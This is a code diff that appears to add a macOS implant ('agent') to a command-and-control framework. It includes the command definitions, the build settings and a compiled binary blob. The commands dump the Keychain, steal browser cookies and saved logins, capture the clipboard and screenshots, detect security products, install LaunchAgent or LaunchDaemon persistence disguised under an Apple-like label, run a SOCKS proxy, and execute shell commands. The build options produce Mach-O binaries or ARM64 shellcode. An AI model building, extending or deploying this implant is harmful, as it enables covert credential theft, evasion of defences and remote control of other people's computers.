cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls /Users/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move file or directory", "mv src.txt dst.txt", "Task: move file or directory"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute long command or scripts", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let cmd_screenshot = ax.create_command("screenshot", "Take a single screenshot", "screenshot", "Task: screenshot"); + + let cmd_clipboard = ax.create_command("clipboard", "Read clipboard contents", "clipboard", "Task: read clipboard"); + + let _cmd_persist_la = ax.create_command("launchagent", "Install LaunchAgent persistence (user-level)", "persist launchagent com.apple.mdworker.local", "Task: install LaunchAgent"); + _cmd_persist_la.addArgString("name", true, "Plist label (e.g. com.apple.mdworker.local)"); + let _cmd_persist_ld = ax.create_command("launchdaemon", "Install LaunchDaemon persistence (requires root)", "persist launchdaemon com.apple.mdworker.local", "Task: install LaunchDaemon"); + _cmd_persist_ld.addArgString("name", true, "Plist label"); + let _cmd_persist_rm = ax.create_command("remove", "Remove persistence", "persist remove launchagent com.apple.mdworker.local", "Task: remove persistence"); + _cmd_persist_rm.addArgString("method", true, "launchagent or launchdaemon"); + _cmd_persist_rm.addArgString("name", true, "Plist label"); + let _cmd_persist_st = ax.create_command("status", "Check persistence status", "persist status", "Task: check persistence"); + let cmd_persist = ax.create_command("persist", "Manage persistence (LaunchAgent/LaunchDaemon)"); + cmd_persist.addSubCommands([_cmd_persist_la, _cmd_persist_ld, _cmd_persist_rm, _cmd_persist_st]); + + let cmd_tcc_check = ax.create_command("tcc_check", "Check TCC permissions (FDA, Screen Recording, etc.)", "tcc_check", "Task: check TCC permissions"); + + let cmd_defaults_read = ax.create_command("defaults_read", "Read macOS defaults/preferences", "defaults_read NSGlobalDomain", "Task: read defaults"); + cmd_defaults_read.addArgString("domain", false, "Defaults domain (empty for all)"); + + let cmd_edr_check = ax.create_command("edr_check", "Detect installed EDR/security products", "edr_check", "Task: EDR detection"); + + let _cmd_keychain_list = ax.create_command("list", "List keychains and entries", "keychain list", "Task: list keychains"); + let _cmd_keychain_dump = ax.create_command("dump", "Dump keychain entries", "keychain dump", "Task: dump keychain"); + let cmd_keychain = ax.create_command("keychain", "Interact with macOS Keychain"); + cmd_keychain.addSubCommands([_cmd_keychain_list, _cmd_keychain_dump]); + + let cmd_browser_dump = ax.create_command("browser_dump", "Collect browser data (Chrome/Firefox)", "browser_dump chrome cookies", "Task: browser data collection"); + cmd_browser_dump.addArgString("browser", true, "chrome or firefox"); + cmd_browser_dump.addArgString("target", false, "cookies, history, or logins (empty to list files)"); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server and listen on a specified port", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication for SOCKS5"); + _cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy"); + _cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/zsh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /Users/target/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_zip = ax.create_command("zip", "Archive (zip) a file or directory", "zip /Users/test /tmp/qwe.zip", "Task: Zip a file or directory"); + cmd_zip.addArgString("path", true); + cmd_zip.addArgString("zip_path", true); + + let commands_macos = ax.create_commands_group("macos", [cmd_browser_dump, cmd_cat, cmd_clipboard, cmd_cp, cmd_cd, cmd_defaults_read, cmd_download, cmd_edr_check, cmd_exit, cmd_job, cmd_keychain, cmd_kill, cmd_ls, cmd_mv, cmd_mkdir, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_screenshot, cmd_socks, cmd_shell, cmd_tcc_check, cmd_upload, cmd_zip]); + + return { + commands_macos: commands_macos + } +} + +function GenerateUI(listeners_type) +{ + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary Mach-O (Native)", "Shellcode ARM64 (Native)"]); + + let labelTarget = form.create_label("Target:"); + let textTarget = form.create_textline("macOS ARM64 (Apple Silicon)"); + textTarget.setEnabled(false); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(1000000000); + + let layout = form.create_gridlayout(); + layout.addWidget(labelTarget, 0, 0, 1, 1); + layout.addWidget(textTarget, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + + let container = form.create_container() + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/macos_agent/config.yaml b/AdaptixServer/extenders/macos_agent/config.yaml new file mode 100644 index 000000000..dafbd21c1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/config.yaml @@ -0,0 +1,9 @@ +extender_type: "agent" +extender_file: "agent_macos.so" +ax_file: "ax_config.axs" + +agent_name: "macos" +agent_watermark: "d3ac7f01" +listeners: + - "GopherTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/macos_agent/go.mod b/AdaptixServer/extenders/macos_agent/go.mod new file mode 100644 index 000000000..301e72056 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_macos + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/macos_agent/macos_agent.ext b/AdaptixServer/extenders/macos_agent/macos_agent.ext new file mode 100644 index 0000000000000000000000000000000000000000..69c589ecef3aa893a87fdaa1433d9e5890890e09 GIT binary patch literal 7753040 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 